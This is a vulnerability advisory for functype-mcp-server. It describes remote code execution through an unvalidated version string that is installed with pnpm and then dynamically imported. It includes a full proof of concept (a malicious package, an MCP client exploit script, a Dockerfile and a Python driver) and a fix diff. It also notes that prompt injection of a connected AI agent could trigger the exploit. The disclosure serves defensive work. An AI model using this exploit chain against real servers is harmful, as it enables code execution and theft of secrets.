PT-2026-89213 · Npm · Functype-Mcp-Server
CVE-2026-59176
·
Published
2026-09-09
·
Updated
2026-09-09
CVSS v3.1
7.8
High
| Vector | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
MCP set functype version Package Alias RCE via Unsanitized pnpm install + Dynamic Import
Summary
The
set functype version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).Details
The vulnerable code is in
packages/mcp-server/src/index.ts. The set functype version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).Source (user input accepted without validation):
ts
// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),Only
z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.Sink 1 — arbitrary package installation:
ts
// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
const spec = `functype@${args.version}`
try {
execFileSync("pnpm", ["add", spec], { cwd: PROJECT ROOT, stdio: "pipe", timeout: 60 000 })args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.Sink 2 — dynamic import executes installed package code:
ts
// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
const resolvedPath = require.resolve("functype/cli")
cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.Data flow summary:
index.ts:115— MCP toolset functype versionregistered, no auth required.index.ts:119-121—versionaccepted as rawz.string()(source).index.ts:123—functype@${args.version}constructed without sanitization.index.ts:125—execFileSync("pnpm", ["add", spec], ...)installs attacker-controlled package (sink: arbitrary install).index.ts:134—initDocsData(true)called immediately.data.ts:29-30—require.resolve("functype/cli")+ dynamicimport()executes attacker module (sink: RCE).
PoC
Step 1 — Prepare the attacker-controlled evil package:
bash
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set functype version
");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL INTERFACES = {};
export const VERSION = "1.0.0";
EOFStep 2 — Clone and build the victim monorepo at the affected version:
bash
TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server buildStep 3 — Set up an MCP client to deliver the exploit:
bash
cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk
cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
command: "node",
args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
env: { ...process.env, TRANSPORT TYPE: "stdio" },
});
await client.connect(transport);
const result = await client.callTool({
name: "set functype version",
arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF
REPO="$TMP/functype" node exploit.mjsStep 4 — Verify arbitrary code execution:
bash
cat /pwned.txt
# Expected output: RCE: mcp import-time code execution via set functype versionDynamic reproduction (Docker):
The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of
/pwned.txt with the expected payload string, proving end-to-end RCE.[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set functype version
[evil-payload] Arbitrary code executed via functype/cli dynamic importRecommended remediation:
diff
+const SAFE FUNCTYPE VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?d+(?:.d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+ const trimmed = version.trim()
+ return trimmed === version && SAFE FUNCTYPE VERSION.test(trimmed) && !/[/:@]/.test(trimmed)
+}
execute: async (args) => {
- const spec = `functype@${args.version}`
+ if (!isSafeFunctypeVersion(args.version)) {
+ return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+ }
+ const spec = `functype@${args.version}`
try {
- execFileSync("pnpm", ["add", spec], { cwd: PROJECT ROOT, stdio: "pipe", timeout: 60 000 })
+ execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT ROOT, stdio: "pipe", timeout: 60 000 })Impact
This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the
set functype version tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.Who is impacted:
- Developers and teams running
functype-mcp-server(version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a
set functype versioncall with afile:ornpm:alias payload. - In non-default
TRANSPORT TYPE=httpStreamdeployments, network-accessible attackers can exploit this without local access.
The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.
Reproduction artifacts
Dockerfile
dockerfile
# Dockerfile for VULN-001: MCP set functype version Package Alias RCE
#
# Build context: reports/npmAI 684 jordanburke functype/
# COPY repo/ -> /workspace/functype/ (victim monorepo)
# COPY vuln-001/ -> supporting PoC files
#
# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
# Run: docker run --rm vuln001-functype-rce
#
# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.
FROM node:24-slim
# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
RUN npm install -g pnpm@11.7.0 --quiet
# ── Victim workspace ──────────────────────────────────────────────────────────
WORKDIR /workspace/functype
COPY repo/ ./
# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
# caused by running on a different pnpm minor than the one that generated the
# lockfile; the installed versions are still constrained by the lockfile
# specifiers for the packages we care about.
RUN pnpm install --no-frozen-lockfile
# Build functype first (mcp-server externals functype at build time).
RUN pnpm -F functype build
# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
RUN pnpm -F functype-mcp-server build
# ── Attacker-controlled evil package ─────────────────────────────────────────
# /evil/cli.js writes /pwned.txt when dynamically imported.
COPY vuln-001/evil/ /evil/
# ── MCP exploit client ────────────────────────────────────────────────────────
WORKDIR /client
RUN npm init -y --quiet &&
npm pkg set type=module &&
npm install @modelcontextprotocol/sdk@1.29.0 --quiet
COPY vuln-001/client/exploit.mjs ./exploit.mjs
# Default entrypoint: run the exploit and exit 0 on success.
CMD ["node", "/client/exploit.mjs"]poc.py
python
#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set functype version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).
Attack chain:
1. Attacker calls MCP tool set functype version with version="file:/evil"
2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
3. Evil package is installed as the functype alias in mcp-server's node modules
4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)
Usage:
python3 poc.py [--build-only]
Requirements:
- Docker daemon running
- Build context at parent directory of this file's directory
"""
import subprocess
import sys
import json
import os
import argparse
VULN DIR = os.path.dirname(os.path.abspath( file ))
REPORT DIR = os.path.dirname(VULN DIR)
IMAGE NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN DIR, "Dockerfile")
RESULT FILE = os.path.join(VULN DIR, "phase2 result.json")
BUILD CMD = ["docker", "build", "-t", IMAGE NAME, "-f", DOCKERFILE, REPORT DIR]
RUN CMD = ["docker", "run", "--rm", IMAGE NAME]
def run(cmd, timeout=None, **kwargs):
"""Run a command and return CompletedProcess with combined output."""
return subprocess.run(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=timeout,
**kwargs,
)
def write result(passed, verdict, reason, evidence):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build command": " ".join(BUILD CMD),
"run command": " ".join(RUN CMD),
"poc command": f"python3 {os.path.basename( file )}",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
}
with open(RESULT FILE, "w", encoding="utf-8") as f:
json.dump(result, f, indent=2, ensure ascii=False)
print(f"[poc] Result written to {RESULT FILE}")
print(f"[poc] verdict={verdict} passed={passed}")
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
parser.add argument("--build-only", action="store true", help="Only build the image, do not run")
args = parser.parse args()
# ── Build ─────────────────────────────────────────────────────────────────
print("[poc] Building Docker image (this may take a few minutes)...")
print(f"[poc] Build command: {' '.join(BUILD CMD)}")
try:
build = run(BUILD CMD, timeout=900)
except subprocess.TimeoutExpired:
msg = "Docker build timed out after 900 seconds"
print(f"[poc] ERROR: {msg}")
write result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
sys.exit(2)
if build.returncode != 0:
tail = (build.stdout + "
" + build.stderr)[-3000:]
print("[poc] Build FAILED:")
print(tail)
write result(
False,
"FAIL",
"Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
f"BUILD EXIT {build.returncode}
{tail}",
)
sys.exit(1)
print("[poc] Build succeeded.")
if args.build only:
print("[poc] --build-only flag set; skipping run.")
sys.exit(0)
# ── Run ───────────────────────────────────────────────────────────────────
print(f"[poc] Running exploit container: {' '.join(RUN CMD)}")
try:
run result = run(RUN CMD, timeout=180)
except subprocess.TimeoutExpired:
msg = "Container run timed out after 180 seconds"
print(f"[poc] ERROR: {msg}")
write result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
sys.exit(2)
stdout = run result.stdout or ""
stderr = run result.stderr or ""
combined = stdout + "
" + stderr
print("=" * 60)
print("STDOUT:")
print(stdout)
print("STDERR:")
print(stderr)
print(f"EXIT CODE: {run result.returncode}")
print("=" * 60)
# Success criteria: exit 0 AND exploit succeeded message present
exploit succeeded = "EXPLOIT SUCCEEDED" in combined
passed = run result.returncode == 0 and exploit succeeded
if passed:
# Extract key evidence lines
evidence lines = [
line for line in combined.splitlines()
if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
]
evidence = "
".join(evidence lines) if evidence lines else combined[-1000:]
write result(
True,
"PASS",
(
"컨테이너 내 /pwned.txt 생성 확인: MCP set functype version 도구에 "
'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
"initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
),
evidence,
)
print("[poc] === PASS: exploit reproduced ===")
sys.exit(0)
else:
# Distinguish failure modes
if not exploit succeeded and run result.returncode == 0:
verdict = "INCOMPLETE"
reason = (
"/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
"pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
"node modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
)
else:
verdict = "FAIL"
reason = (
f"컨테이너 종료 코드 {run result.returncode}. "
"exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
)
write result(False, verdict, reason, combined[-2000:])
print(f"[poc] === {verdict}: exploit did not reproduce ===")
sys.exit(1)
if name == " main ":
main()Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Functype-Mcp-Server